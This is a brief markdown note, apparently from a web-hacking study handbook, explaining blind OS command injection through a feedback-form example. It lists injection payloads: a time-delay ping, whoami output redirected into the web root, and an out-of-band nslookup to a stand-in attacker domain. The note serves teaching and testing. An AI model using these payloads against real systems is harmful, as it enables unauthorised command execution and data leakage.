handbook/tools/3.Web-Hacking/4.Injection/OS-Commands/Notes/2.Blind-OS-Command-Injection-Vulnerabilities.md
2024-08-31 01:07:22 +02:00

712 B

Blind OS Command Injection Vulnerabilities

Example:

  • Website allows users to submit feedback about the website

  • Feedback form sends email to a site administrator mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

  • Detection/Exploit:

    • Inject a command that triggers a time delay & ping -c 10 127.0.0.1 & § Will ping loopback adapter for 10 seconds
  • Redirect Output into a file in the web root & whoami > /var/www/static/whoami.txt & § Use a browser to fetch /whoami.txt to see the output

  • Exploit using out-of-band (OAST) techniques & nslookup kgji2ohoyw.web-attacker.com & § Attacker can monitor for the specified lookup occuring